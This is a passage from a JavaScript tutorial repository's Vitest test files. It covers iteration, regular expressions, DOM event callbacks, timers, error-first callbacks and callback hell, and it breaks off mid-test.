{ values.push(value) } expect(values).toEqual(['a', 'b', 'c']) }) it('should iterate over string characters', () => { const chars = [] for (const char of 'hello') { chars.push(char) } expect(chars).toEqual(['h', 'e', 'l', 'l', 'o']) }) it('should iterate over Map entries', () => { const map = new Map([['a', 1], ['b', 2]]) const entries = [] for (const [key, value] of map) { entries.push({ key, value }) } expect(entries).toEqual([ { key: 'a', value: 1 }, { key: 'b', value: 2 } ]) }) it('should iterate over Set values', () => { const set = new Set([1, 2, 3]) const values = [] for (const value of set) { values.push(value) } expect(values).toEqual([1, 2, 3]) }) it('should work with destructuring', () => { const users = [ { name: 'Alice', age: 25 }, { name: 'Bob', age: 30 } ] const names = [] for (const { name } of users) { names.push(name) } expect(names).toEqual(['Alice', 'Bob']) }) }) }) ================================================ FILE: tests/advanced-topics/regular-expressions/regular-expressions.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Regular Expressions', () => { describe('Creating Regex', () => { it('should create regex with literal syntax', () => { const pattern = /hello/ expect(pattern.test('hello world')).toBe(true) expect(pattern.test('world')).toBe(false) }) it('should create regex with RegExp constructor', () => { const pattern = new RegExp('hello') expect(pattern.test('hello world')).toBe(true) expect(pattern.test('world')).toBe(false) }) it('should create dynamic patterns with RegExp constructor', () => { const searchTerm = 'cat' const pattern = new RegExp(searchTerm, 'gi') expect('Cat CAT cat'.match(pattern)).toEqual(['Cat', 'CAT', 'cat']) }) }) describe('Character Classes', () => { it('should match digits with \\d', () => { const pattern = /\d+/ expect(pattern.test('123')).toBe(true) expect(pattern.test('abc')).toBe(false) expect('abc123def'.match(pattern)[0]).toBe('123') }) it('should match word characters with \\w', () => { const pattern = /\w+/g expect('hello_world 123'.match(pattern)).toEqual(['hello_world', '123']) }) it('should match whitespace with \\s', () => { const pattern = /\s+/ expect(pattern.test('hello world')).toBe(true) expect(pattern.test('helloworld')).toBe(false) }) it('should match any character with .', () => { const pattern = /a.c/ expect(pattern.test('abc')).toBe(true) expect(pattern.test('a1c')).toBe(true) expect(pattern.test('ac')).toBe(false) }) it('should match character sets with []', () => { const vowelPattern = /[aeiou]/g expect('hello'.match(vowelPattern)).toEqual(['e', 'o']) }) it('should match negated character sets with [^]', () => { const nonDigitPattern = /[^0-9]+/g expect('abc123def'.match(nonDigitPattern)).toEqual(['abc', 'def']) }) it('should match character ranges', () => { const lowercasePattern = /[a-z]+/g expect('Hello World'.match(lowercasePattern)).toEqual(['ello', 'orld']) }) }) describe('Quantifiers', () => { it('should match 0 or more with *', () => { const pattern = /ab*c/ expect(pattern.test('ac')).toBe(true) expect(pattern.test('abc')).toBe(true) expect(pattern.test('abbbbc')).toBe(true) }) it('should match 1 or more with +', () => { const pattern = /ab+c/ expect(pattern.test('ac')).toBe(false) expect(pattern.test('abc')).toBe(true) expect(pattern.test('abbbbc')).toBe(true) }) it('should match 0 or 1 with ?', () => { const pattern = /colou?r/ expect(pattern.test('color')).toBe(true) expect(pattern.test('colour')).toBe(true) expect(pattern.test('colouur')).toBe(false) }) it('should match exact count with {n}', () => { const pattern = /\d{4}/ expect(pattern.test('2024')).toBe(true) expect(pattern.test('123')).toBe(false) }) it('should match range with {n,m}', () => { const pattern = /\d{2,4}/ expect('1'.match(pattern)).toBe(null) expect('12'.match(pattern)[0]).toBe('12') expect('12345'.match(pattern)[0]).toBe('1234') }) it('should match n or more with {n,}', () => { const pattern = /\d{2,}/ expect(pattern.test('1')).toBe(false) expect(pattern.test('12')).toBe(true) expect(pattern.test('12345')).toBe(true) }) }) describe('Anchors', () => { it('should match start of string with ^', () => { const pattern = /^Hello/ expect(pattern.test('Hello World')).toBe(true) expect(pattern.test('Say Hello')).toBe(false) }) it('should match end of string with $', () => { const pattern = /World$/ expect(pattern.test('Hello World')).toBe(true) expect(pattern.test('World Hello')).toBe(false) }) it('should match entire string with ^ and $', () => { const pattern = /^\d+$/ expect(pattern.test('12345')).toBe(true) expect(pattern.test('123abc')).toBe(false) expect(pattern.test('abc123')).toBe(false) }) it('should match word boundaries with \\b', () => { const pattern = /\bcat\b/ expect(pattern.test('cat')).toBe(true) expect(pattern.test('the cat sat')).toBe(true) expect(pattern.test('category')).toBe(false) expect(pattern.test('concatenate')).toBe(false) }) }) describe('Methods', () => { describe('test()', () => { it('should return true for matches', () => { expect(/\d+/.test('123')).toBe(true) }) it('should return false for non-matches', () => { expect(/\d+/.test('abc')).toBe(false) }) }) describe('match()', () => { it('should return first match without g flag', () => { const result = 'cat and cat'.match(/cat/) expect(result[0]).toBe('cat') expect(result.index).toBe(0) }) it('should return all matches with g flag', () => { const result = 'cat and cat'.match(/cat/g) expect(result).toEqual(['cat', 'cat']) }) it('should return null when no match', () => { expect('hello'.match(/\d+/)).toBe(null) }) }) describe('replace()', () => { it('should replace first match without g flag', () => { expect('hello world'.replace(/o/, '0')).toBe('hell0 world') }) it('should replace all matches with g flag', () => { expect('hello world'.replace(/o/g, '0')).toBe('hell0 w0rld') }) it('should use captured groups in replacement', () => { expect('John Smith'.replace(/(\w+) (\w+)/, '$2, $1')).toBe('Smith, John') }) }) describe('split()', () => { it('should split by regex pattern', () => { expect('a, b, c'.split(/,\s*/)).toEqual(['a', 'b', 'c']) }) it('should split on whitespace', () => { expect('hello world foo'.split(/\s+/)).toEqual(['hello', 'world', 'foo']) }) }) describe('exec()', () => { it('should return match with details', () => { const result = /\d+/.exec('abc123def') expect(result[0]).toBe('123') expect(result.index).toBe(3) }) it('should return null for no match', () => { expect(/\d+/.exec('abc')).toBe(null) }) }) }) describe('Flags', () => { it('should match case-insensitively with i flag', () => { const pattern = /hello/i expect(pattern.test('HELLO')).toBe(true) expect(pattern.test('Hello')).toBe(true) expect(pattern.test('hello')).toBe(true) }) it('should find all matches with g flag', () => { const pattern = /a/g expect('banana'.match(pattern)).toEqual(['a', 'a', 'a']) }) it('should match line boundaries with m flag', () => { const text = 'line1\nline2\nline3' const pattern = /^line\d/gm expect(text.match(pattern)).toEqual(['line1', 'line2', 'line3']) }) it('should combine multiple flags', () => { const pattern = /hello/gi expect('Hello HELLO hello'.match(pattern)).toEqual(['Hello', 'HELLO', 'hello']) }) }) describe('Capturing Groups', () => { it('should capture groups with parentheses', () => { const pattern = /(\d{3})-(\d{4})/ const match = '555-1234'.match(pattern) expect(match[0]).toBe('555-1234') expect(match[1]).toBe('555') expect(match[2]).toBe('1234') }) it('should support named groups', () => { const pattern = /(?<area>\d{3})-(?<number>\d{4})/ const match = '555-1234'.match(pattern) expect(match.groups.area).toBe('555') expect(match.groups.number).toBe('1234') }) it('should use groups in replace with $n', () => { const result = '12-25-2024'.replace( /(\d{2})-(\d{2})-(\d{4})/, '$3/$1/$2' ) expect(result).toBe('2024/12/25') }) it('should use named groups in replace', () => { const result = '12-25-2024'.replace( /(?<month>\d{2})-(?<day>\d{2})-(?<year>\d{4})/, '$<year>/$<month>/$<day>' ) expect(result).toBe('2024/12/25') }) it('should support non-capturing groups with (?:)', () => { const pattern = /(?:ab)+/ const match = 'ababab'.match(pattern) expect(match[0]).toBe('ababab') expect(match[1]).toBeUndefined() }) }) describe('Greedy vs Lazy', () => { it('should match greedily by default', () => { const html = '<div>Hello</div><div>World</div>' const greedy = /<div>.*<\/div>/ expect(html.match(greedy)[0]).toBe('<div>Hello</div><div>World</div>') }) it('should match lazily with ?', () => { const html = '<div>Hello</div><div>World</div>' const lazy = /<div>.*?<\/div>/ expect(html.match(lazy)[0]).toBe('<div>Hello</div>') }) it('should find all lazy matches with g flag', () => { const html = '<div>Hello</div><div>World</div>' const lazy = /<div>.*?<\/div>/g expect(html.match(lazy)).toEqual(['<div>Hello</div>', '<div>World</div>']) }) }) describe('Common Patterns', () => { it('should validate basic email format', () => { const email = /^[^\s@]+@[^\s@]+\.[^\s@]+$/ expect(email.test('user@example.com')).toBe(true) expect(email.test('user.name@example.co.uk')).toBe(true) expect(email.test('invalid-email')).toBe(false) expect(email.test('missing@domain')).toBe(false) expect(email.test('@missing-local.com')).toBe(false) }) it('should validate URL format', () => { const url = /^https?:\/\/[^\s]+$/ expect(url.test('https://example.com')).toBe(true) expect(url.test('http://example.com/path')).toBe(true) expect(url.test('ftp://example.com')).toBe(false) expect(url.test('not a url')).toBe(false) }) it('should validate US phone number formats', () => { const phone = /^(\(\d{3}\)|\d{3})[-.\s]?\d{3}[-.\s]?\d{4}$/ expect(phone.test('555-123-4567')).toBe(true) expect(phone.test('(555) 123-4567')).toBe(true) expect(phone.test('555.123.4567')).toBe(true) expect(phone.test('5551234567')).toBe(true) expect(phone.test('55-123-4567')).toBe(false) }) it('should validate username format', () => { const username = /^[a-zA-Z0-9_]{3,16}$/ expect(username.test('john_doe')).toBe(true) expect(username.test('user123')).toBe(true) expect(username.test('ab')).toBe(false) // too short expect(username.test('this_is_way_too_long_username')).toBe(false) // too long expect(username.test('invalid-user')).toBe(false) // hyphen not allowed }) it('should extract hashtags from text', () => { const hashtags = /#\w+/g const text = 'Learning #JavaScript and #regex is fun! #coding' expect(text.match(hashtags)).toEqual(['#JavaScript', '#regex', '#coding']) }) it('should extract numbers from text', () => { const numbers = /\d+/g const text = 'I have 42 apples and 7 oranges' expect(text.match(numbers)).toEqual(['42', '7']) }) }) describe('Edge Cases', () => { it('should escape special characters in RegExp constructor', () => { const searchTerm = 'hello.world' const escaped = searchTerm.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') const pattern = new RegExp(escaped) expect(pattern.test('hello.world')).toBe(true) expect(pattern.test('helloXworld')).toBe(false) }) it('should handle empty strings', () => { expect(/.*/.test('')).toBe(true) expect(/.+/.test('')).toBe(false) const emptyMatch = ''.match(/\d*/) expect(emptyMatch[0]).toBe('') }) it('should handle alternation with |', () => { const pattern = /cat|dog|bird/ expect(pattern.test('I have a cat')).toBe(true) expect(pattern.test('I have a dog')).toBe(true) expect(pattern.test('I have a fish')).toBe(false) }) it('should handle backreferences', () => { const pattern = /(\w+)\s+\1/ expect(pattern.test('hello hello')).toBe(true) expect(pattern.test('hello world')).toBe(false) }) }) }) ================================================ FILE: tests/async-javascript/callbacks/callbacks.dom.test.js ================================================ /** * @vitest-environment jsdom */ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' // ============================================================ // DOM EVENT HANDLER CALLBACKS // From callbacks.mdx lines 401-434 // Pattern 1: Event Handlers // ============================================================ describe('DOM Event Handler Callbacks', () => { let button beforeEach(() => { // Create a fresh button element for each test button = document.createElement('button') button.id = 'myButton' document.body.appendChild(button) }) afterEach(() => { // Clean up document.body.innerHTML = '' }) // From lines 405-416: DOM events with addEventListener it('should execute callback when button is clicked', () => { const output = [] // DOM events const button = document.getElementById('myButton') button.addEventListener('click', function handleClick(event) { output.push('Button clicked!') output.push(`Event type: ${event.type}`) // "click" output.push(`Target id: ${event.target.id}`) // "myButton" }) // The callback receives an Event object with details about what happened // Simulate click button.click() expect(output).toEqual([ 'Button clicked!', 'Event type: click', 'Target id: myButton' ]) }) // From lines 420-434: Named functions for reusability and removal it('should use named functions for reusability', () => { const output = [] function handleClick(event) { output.push(`Clicked: ${event.target.id}`) } function handleMouseOver(event) { output.push(`Mouseover: ${event.target.id}`) } button.addEventListener('click', handleClick) button.addEventListener('mouseover', handleMouseOver) // Simulate events button.click() button.dispatchEvent(new MouseEvent('mouseover', { bubbles: true })) expect(output).toEqual([ 'Clicked: myButton', 'Mouseover: myButton' ]) }) it('should remove event listeners with removeEventListener', () => { const output = [] function handleClick(event) { output.push('Clicked!') } button.addEventListener('click', handleClick) // First click - handler is attached button.click() expect(output).toEqual(['Clicked!']) // Later, you can remove them: button.removeEventListener('click', handleClick) // Second click - handler is removed button.click() expect(output).toEqual(['Clicked!']) // Still just one, handler was removed }) it('should demonstrate multiple event listeners on same element', () => { const output = [] button.addEventListener('click', () => output.push('Handler 1')) button.addEventListener('click', () => output.push('Handler 2')) button.addEventListener('click', () => output.push('Handler 3')) button.click() // All handlers execute in order of registration expect(output).toEqual(['Handler 1', 'Handler 2', 'Handler 3']) }) it('should demonstrate event object properties in callback', () => { const eventData = {} button.addEventListener('click', function(event) { eventData.type = event.type eventData.target = event.target eventData.currentTarget = event.currentTarget eventData.bubbles = event.bubbles eventData.cancelable = event.cancelable }) button.click() expect(eventData.type).toBe('click') expect(eventData.target).toBe(button) expect(eventData.currentTarget).toBe(button) expect(eventData.bubbles).toBe(true) expect(eventData.cancelable).toBe(true) }) it('should demonstrate event delegation pattern with callbacks', () => { // Create a list with items const list = document.createElement('ul') list.id = 'myList' const item1 = document.createElement('li') item1.textContent = 'Item 1' item1.dataset.id = '1' const item2 = document.createElement('li') item2.textContent = 'Item 2' item2.dataset.id = '2' list.appendChild(item1) list.appendChild(item2) document.body.appendChild(list) const clickedItems = [] // Event delegation - single handler on parent list.addEventListener('click', function(event) { if (event.target.tagName === 'LI') { clickedItems.push(event.target.dataset.id) } }) item1.click() item2.click() expect(clickedItems).toEqual(['1', '2']) }) it('should demonstrate this context in event handler callbacks', () => { const results = [] // Regular function - 'this' is the element button.addEventListener('click', function(event) { results.push(`Regular: ${this.id}`) }) // Arrow function - 'this' is NOT the element (inherited from outer scope) button.addEventListener('click', (event) => { // In this context, 'this' would be the module/global scope results.push(`Arrow target: ${event.target.id}`) }) button.click() expect(results).toEqual([ 'Regular: myButton', 'Arrow target: myButton' ]) }) it('should demonstrate once option for single-fire callbacks', () => { const output = [] button.addEventListener('click', () => { output.push('Clicked!') }, { once: true }) button.click() button.click() button.click() // Handler only fires once expect(output).toEqual(['Clicked!']) }) it('should demonstrate preventing default with callbacks', () => { const form = document.createElement('form') const submitEvents = [] let defaultPrevented = false form.addEventListener('submit', function(event) { event.preventDefault() defaultPrevented = event.defaultPrevented submitEvents.push('Form submitted') }) // Dispatch a submit event const submitEvent = new Event('submit', { cancelable: true }) form.dispatchEvent(submitEvent) expect(submitEvents).toEqual(['Form submitted']) expect(defaultPrevented).toBe(true) }) it('should demonstrate stopping propagation in callbacks', () => { const output = [] // Create nested elements const outer = document.createElement('div') const inner = document.createElement('div') outer.appendChild(inner) document.body.appendChild(outer) outer.addEventListener('click', () => output.push('Outer clicked')) inner.addEventListener('click', (event) => { event.stopPropagation() output.push('Inner clicked') }) inner.click() // Only inner handler fires due to stopPropagation expect(output).toEqual(['Inner clicked']) }) }) ================================================ FILE: tests/async-javascript/callbacks/callbacks.test.js ================================================ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' describe('Callbacks', () => { // ============================================================ // OPENING EXAMPLES // From callbacks.mdx lines 9-22, 139-155 // ============================================================ describe('Opening Examples', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) // From lines 9-22: Why doesn't JavaScript wait? it('should demonstrate setTimeout non-blocking behavior', async () => { const output = [] output.push('Before timer') setTimeout(function() { output.push('Timer fired!') }, 1000) output.push('After timer') // Before timer advances, only sync code has run expect(output).toEqual(['Before timer', 'After timer']) // After 1 second await vi.advanceTimersByTimeAsync(1000) // Output: // Before timer // After timer // Timer fired! (1 second later) expect(output).toEqual(['Before timer', 'After timer', 'Timer fired!']) }) // From lines 139-155: Restaurant buzzer analogy it('should demonstrate restaurant buzzer analogy with eatBurger callback', async () => { const output = [] // You place your order (start async operation) setTimeout(function eatBurger() { output.push('Eating my burger!') // This is the callback }, 5000) // You go sit down (your code continues) output.push('Sitting down, checking my phone...') output.push('Chatting with friends...') output.push('Reading the menu...') // Before timer fires expect(output).toEqual([ 'Sitting down, checking my phone...', 'Chatting with friends...', 'Reading the menu...' ]) // After 5 seconds await vi.advanceTimersByTimeAsync(5000) // Output: // Sitting down, checking my phone... // Chatting with friends... // Reading the menu... // Eating my burger! (5 seconds later) expect(output).toEqual([ 'Sitting down, checking my phone...', 'Chatting with friends...', 'Reading the menu...', 'Eating my burger!' ]) }) }) // ============================================================ // WHAT IS A CALLBACK // From callbacks.mdx lines 48-91 // ============================================================ describe('What is a Callback', () => { // From lines 48-61: greet and processUserInput example it('should execute greet callback passed to processUserInput', () => { const output = [] // greet is a callback function function greet(name) { output.push(`Hello, ${name}!`) } // processUserInput accepts a callback function processUserInput(callback) { const name = 'Alice' callback(name) // "calling back" the function we received } processUserInput(greet) // "Hello, Alice!" expect(output).toEqual(['Hello, Alice!']) }) // From lines 73-91: Callbacks can be anonymous it('should work with anonymous function callbacks', () => { const output = [] // Simulating addEventListener behavior for testing function simulateAddEventListener(event, callback) { callback() } // Named function as callback function handleClick() { output.push('Clicked!') } simulateAddEventListener('click', handleClick) // Anonymous function as callback simulateAddEventListener('click', function() { output.push('Clicked!') }) // Arrow function as callback simulateAddEventListener('click', () => { output.push('Clicked!') }) // All three do the same thing expect(output).toEqual(['Clicked!', 'Clicked!', 'Clicked!']) }) }) // ============================================================ // CALLBACKS AND HIGHER-ORDER FUNCTIONS // From callbacks.mdx lines 166-198 // ============================================================ describe('Callbacks and Higher-Order Functions', () => { // From lines 166-176: forEach is a higher-order function it('should demonstrate forEach as a higher-order function', () => { const output = [] // forEach is a HIGHER-ORDER FUNCTION (it accepts a function) // The arrow function is the CALLBACK (it's being passed in) const numbers = [1, 2, 3] numbers.forEach((num) => { // <- This is the callback output.push(num * 2) }) // 2, 4, 6 expect(output).toEqual([2, 4, 6]) }) // From lines 180-198: filter, map, find, sort with users array it('should demonstrate filter, map, find, sort with users array', () => { const users = [ { name: 'Alice', age: 25 }, { name: 'Bob', age: 17 }, { name: 'Charlie', age: 30 } ] // filter accepts a callback that returns true/false const adults = users.filter(user => user.age >= 18) expect(adults).toEqual([ { name: 'Alice', age: 25 }, { name: 'Charlie', age: 30 } ]) // map accepts a callback that transforms each element const names = users.map(user => user.name) expect(names).toEqual(['Alice', 'Bob', 'Charlie']) // find accepts a callback that returns true when found const bob = users.find(user => user.name === 'Bob') expect(bob).toEqual({ name: 'Bob', age: 17 }) // sort accepts a callback that compares two elements const byAge = [...users].sort((a, b) => a.age - b.age) expect(byAge).toEqual([ { name: 'Bob', age: 17 }, { name: 'Alice', age: 25 }, { name: 'Charlie', age: 30 } ]) }) }) // ============================================================ // SYNCHRONOUS VS ASYNCHRONOUS CALLBACKS // From callbacks.mdx lines 214-310 // ============================================================ describe('Synchronous Callbacks', () => { // From lines 214-236: Synchronous callbacks execute immediately it('should execute map callbacks synchronously and in order', () => { const output = [] const numbers = [1, 2, 3, 4, 5] output.push('Before map') const doubled = numbers.map(num => { output.push(`Doubling ${num}`) return num * 2 }) output.push('After map') output.push(JSON.stringify(doubled)) // Output (all synchronous, in order): // Before map // Doubling 1 // Doubling 2 // Doubling 3 // Doubling 4 // Doubling 5 // After map // [2, 4, 6, 8, 10] expect(output).toEqual([ 'Before map', 'Doubling 1', 'Doubling 2', 'Doubling 3', 'Doubling 4', 'Doubling 5', 'After map', '[2,4,6,8,10]' ]) expect(doubled).toEqual([2, 4, 6, 8, 10]) }) // From lines 287-295: Synchronous callback - try/catch WORKS it('should catch errors in synchronous callbacks with try/catch', () => { let caughtMessage = null // Synchronous callback - try/catch WORKS try { [1, 2, 3].forEach(num => { if (num === 2) throw new Error('Found 2!') }) } catch (error) { caughtMessage = error.message // "Caught: Found 2!" } expect(caughtMessage).toBe('Found 2!') }) }) describe('Asynchronous Callbacks', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) // From lines 249-262: Even with 0ms delay, callback runs after sync code it('should execute setTimeout callbacks after synchronous code even with 0ms delay', async () => { const output = [] output.push('Before setTimeout') setTimeout(() => { output.push('Inside setTimeout') }, 0) // Even with 0ms delay! output.push('After setTimeout') // Before timer fires expect(output).toEqual(['Before setTimeout', 'After setTimeout']) await vi.advanceTimersByTimeAsync(0) // Output: // Before setTimeout // After setTimeout // Inside setTimeout (runs AFTER all sync code) expect(output).toEqual([ 'Before setTimeout', 'After setTimeout', 'Inside setTimeout' ]) }) // From lines 297-306: Asynchronous callback - try/catch DOES NOT WORK! it('should demonstrate that try/catch cannot catch async callback errors', async () => { // This test verifies the concept that try/catch doesn't work for async callbacks // In real code, the error would crash the program let tryCatchRan = false const asyncCallback = vi.fn() // Asynchronous callback - try/catch DOES NOT WORK! try { setTimeout(() => { asyncCallback() // throw new Error('Async error!') // This error escapes! }, 100) } catch (error) { // This will NEVER run tryCatchRan = true } // The try/catch completes immediately, before the callback even runs expect(tryCatchRan).toBe(false) expect(asyncCallback).not.toHaveBeenCalled() await vi.advanceTimersByTimeAsync(100) // Now the callback has run, but the try/catch is long gone expect(asyncCallback).toHaveBeenCalled() }) }) // ============================================================ // HOW CALLBACKS WORK WITH THE EVENT LOOP // From callbacks.mdx lines 355-393 // ============================================================ describe('Event Loop Examples', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) // From lines 355-387: Event loop trace example it('should demonstrate event loop execution order', async () => { const output = [] output.push('1: Script start') setTimeout(function first() { output.push('2: First timeout') }, 0) setTimeout(function second() { output.push('3: Second timeout') }, 0) output.push('4: Script end') // Execution order: // 1. console.log('1: Script start') - runs immediately // 2. setTimeout(first, 0) - registers first callback with Web APIs // 3. setTimeout(second, 0) - registers second callback with Web APIs // 4. console.log('4: Script end') - runs immediately // 5. Call stack is now empty // 6. Event Loop checks Task Queue - finds first // 7. first() runs -> "2: First timeout" // 8. Event Loop checks Task Queue - finds second // 9. second() runs -> "3: Second timeout" // Before timers fire - only sync code has run expect(output).toEqual(['1: Script start', '4: Script end']) await vi.advanceTimersByTimeAsync(0) // Output: // 1: Script start // 4: Script end // 2: First timeout // 3: Second timeout expect(output).toEqual([ '1: Script start', '4: Script end', '2: First timeout', '3: Second timeout' ]) }) }) // ============================================================ // COMMON CALLBACK PATTERNS // From callbacks.mdx lines 397-537 // ============================================================ describe('Common Callback Patterns', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) // Pattern 2: Timers (lines 436-479) // From lines 440-447: setTimeout runs once after delay it('should run setTimeout callback once after delay', async () => { const output = [] // setTimeout - runs once after delay const timeoutId = setTimeout(function() { output.push('This runs once after 2 seconds') }, 2000) expect(output).toEqual([]) await vi.advanceTimersByTimeAsync(2000) expect(output).toEqual(['This runs once after 2 seconds']) }) // From lines 447: Cancel timeout before it runs it('should cancel setTimeout with clearTimeout', async () => { const callback = vi.fn() // Cancel it before it runs const timeoutId = setTimeout(function() { callback() }, 2000) clearTimeout(timeoutId) await vi.advanceTimersByTimeAsync(2000) expect(callback).not.toHaveBeenCalled() }) // From lines 449-459: setInterval runs repeatedly it('should run setInterval callback repeatedly until cleared', async () => { const output = [] // setInterval - runs repeatedly let count = 0 const intervalId = setInterval(function() { count++ output.push(`Count: ${count}`) if (count >= 5) { clearInterval(intervalId) // Stop after 5 times output.push('Done!') } }, 1000) await vi.advanceTimersByTimeAsync(5000) expect(output).toEqual([ 'Count: 1', 'Count: 2', 'Count: 3', 'Count: 4', 'Count: 5', 'Done!' ]) }) // From lines 464-479: Passing arguments to timer callbacks it('should pass arguments to setTimeout callbacks using closure', async () => { const output = [] // Method 1: Closure (most common) const name = 'Alice' setTimeout(function() { output.push(`Hello, ${name}!`) }, 1000) await vi.advanceTimersByTimeAsync(1000) expect(output).toEqual(['Hello, Alice!']) }) it('should pass arguments to setTimeout callbacks using extra arguments', async () => { const output = [] // Method 2: setTimeout's extra arguments setTimeout(function(greeting, name) { output.push(`${greeting}, ${name}!`) }, 1000, 'Hello', 'Bob') // Extra args passed to callback await vi.advanceTimersByTimeAsync(1000) expect(output).toEqual(['Hello, Bob!']) }) it('should pass arguments to setTimeout callbacks using arrow function with closure', async () => { const output = [] // Method 3: Arrow function with closure const user = { name: 'Charlie' } setTimeout(() => output.push(`Hi, ${user.name}!`), 1000) await vi.advanceTimersByTimeAsync(1000) expect(output).toEqual(['Hi, Charlie!']) }) // Pattern 3: Array Iteration (lines 481-512) // From lines 485-512: products array examples it('should demonstrate array iteration callbacks with products array', () => { const products = [ { name: 'Laptop', price: 999, inStock: true }, { name: 'Phone', price: 699, inStock: false }, { name: 'Tablet', price: 499, inStock: true } ] // forEach - do something with each item const forEachOutput = [] products.forEach(product => { forEachOutput.push(`${product.name}: $${product.price}`) }) expect(forEachOutput).toEqual([ 'Laptop: $999', 'Phone: $699', 'Tablet: $499' ]) // map - transform each item into something new const productNames = products.map(product => product.name) // ['Laptop', 'Phone', 'Tablet'] expect(productNames).toEqual(['Laptop', 'Phone', 'Tablet']) // filter - keep only items that pass a test const available = products.filter(product => product.inStock) // [{ name: 'Laptop', ... }, { name: 'Tablet', ... }] expect(available).toEqual([ { name: 'Laptop', price: 999, inStock: true }, { name: 'Tablet', price: 499, inStock: true } ]) // find - get the first item that passes a test const phone = products.find(product => product.name === 'Phone') // { name: 'Phone', price: 699, inStock: false } expect(phone).toEqual({ name: 'Phone', price: 699, inStock: false }) // reduce - combine all items into a single value const totalValue = products.reduce((sum, product) => sum + product.price, 0) // 2197 expect(totalValue).toBe(2197) }) // Pattern 4: Custom Callbacks (lines 514-537) // From lines 518-537: fetchUserData custom callback it('should demonstrate custom callback pattern with fetchUserData', async () => { const output = [] // A function that does something and then calls you back function fetchUserData(userId, callback) { // Simulate async operation setTimeout(function() { const user = { id: userId, name: 'Alice', email: 'alice@example.com' } callback(user) }, 1000) } // Using the function fetchUserData(123, function(user) { output.push(`Got user: ${user.name}`) }) output.push('Fetching user...') // Before timer fires expect(output).toEqual(['Fetching user...']) await vi.advanceTimersByTimeAsync(1000) // Output: // Fetching user... // Got user: Alice (1 second later) expect(output).toEqual(['Fetching user...', 'Got user: Alice']) }) }) // ============================================================ // THE ERROR-FIRST CALLBACK PATTERN // From callbacks.mdx lines 541-654 // ============================================================ describe('Error-First Callback Pattern', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) // From lines 547-553: Error-first callback signature it('should demonstrate error-first callback signature', () => { // Error-first callback signature // function callback(error, result) { // // error: null/undefined if success, Error object if failure // // result: the data if success, usually undefined if failure // } let receivedError = 'not called' let receivedResult = 'not called' function callback(error, result) { receivedError = error receivedResult = result } // Success case callback(null, 'success data') expect(receivedError).toBeNull() expect(receivedResult).toBe('success data') // Error case callback(new Error('something failed'), undefined) expect(receivedError).toBeInstanceOf(Error) expect(receivedError.message).toBe('something failed') expect(receivedResult).toBeUndefined() }) // From lines 586-622: divideAsync error-first example it('should demonstrate divideAsync error-first callback pattern', async () => { function divideAsync(a, b, callback) { // Simulate async operation setTimeout(function() { // Check for errors if (typeof a !== 'number' || typeof b !== 'number') { callback(new Error('Both arguments must be numbers')) return } if (b === 0) { callback(new Error('Cannot divide by zero')) return } // Success! Error is null, result is the value const result = a / b callback(null, result) }, 100) } // Test success case let successError = 'not called' let successResult = 'not called' divideAsync(10, 2, function(error, result) { successError = error successResult = result }) await vi.advanceTimersByTimeAsync(100) expect(successError).toBeNull() expect(successResult).toBe(5) // Result: 5 // Test error case - divide by zero let errorError = 'not called' let errorResult = 'not called' divideAsync(10, 0, function(error, result) { errorError = error errorResult = result }) await vi.advanceTimersByTimeAsync(100) expect(errorError).toBeInstanceOf(Error) expect(errorError.message).toBe('Cannot divide by zero') }) // From lines 627-650: Common Mistake - Forgetting to Return it('should demonstrate the importance of returning after error callback', () => { const results = [] // Wrong - doesn't return after error function processDataWrong(data, callback) { if (!data) { callback(new Error('No data provided')) // Oops! Execution continues... } // This runs even when there's an error! results.push('This should not run if error') callback(null, 'processed') } // Correct - return after error callback function processDataCorrect(data, callback) { if (!data) { return callback(new Error('No data provided')) // Or: callback(new Error(...)); return; } // This only runs if data exists results.push('This only runs on success') callback(null, 'processed') } // Test wrong way processDataWrong(null, () => {}) expect(results).toContain('This should not run if error') // Bug! results.length = 0 // Clear results // Test correct way processDataCorrect(null, () => {}) expect(results).not.toContain('This only runs on success') // Correct! }) }) // ============================================================ // CALLBACK HELL: THE PYRAMID OF DOOM // From callbacks.mdx lines 658-757 // ============================================================ describe('Callback Hell', () => { // From lines 674-715: Nested callback example it('should demonstrate the pyramid of doom pattern', () => { return new Promise((resolve) => { const steps = [] // Simulated async operations function getUser(userId, callback) { setTimeout(() => { steps.push('getUser') callback(null, { id: userId, name: 'Alice' }) }, 0) } function verifyPassword(user, password, callback) { setTimeout(() => { steps.push('verifyPassword') callback(null, password === 'correct') }, 0) } function getProfile(userId, callback) { setTimeout(() => { steps.push('getProfile') callback(null, { bio: 'Developer' }) }, 0) } function getSettings(userId, callback) { setTimeout(() => { steps.push('getSettings') callback(null, { theme: 'dark' }) }, 0) } function renderDashboard(user, profile, settings, callback) { setTimeout(() => { steps.push('renderDashboard') callback(null) }, 0) } function handleError(error) { steps.push(`Error: ${error.message}`) } const userId = 123 const password = 'correct' // Callback hell - nested callbacks (pyramid of doom) getUser(userId, function(error, user) { if (error) { handleError(error) return } verifyPassword(user, password, function(error, isValid) { if (error) { handleError(error) return } if (!isValid) { handleError(new Error('Invalid password')) return } getProfile(user.id, function(error, profile) { if (error) { handleError(error) return } getSettings(user.id, function(error, settings) { if (error) { handleError(error) return } renderDashboard(user, profile, settings, function(error) { if (error) { handleError(error) return } steps.push('Dashboard rendered!') expect(steps).toEqual([ 'getUser', 'verifyPassword', 'getProfile', 'getSettings', 'renderDashboard', 'Dashboard rendered!' ]) resolve() }) }) }) }) }) }) }) }) // ============================================================ // ESCAPING CALLBACK HELL // From callbacks.mdx lines 761-970 // ============================================================ describe('Escaping Callback Hell', () => { // From lines 769-801: Strategy 1 - Named Functions it('should demonstrate named functions to escape callback hell', () => { return new Promise((resolve) => { const steps = [] let rejected = false function getData(callback) { setTimeout(() => { steps.push('getData') callback(null, 'data') }, 0) } function processData(data, callback) { setTimeout(() => { steps.push(`processData: ${data}`) callback(null, 'processed') }, 0) } function saveData(processed, callback) { setTimeout(() => { steps.push(`saveData: ${processed}`) callback(null) }, 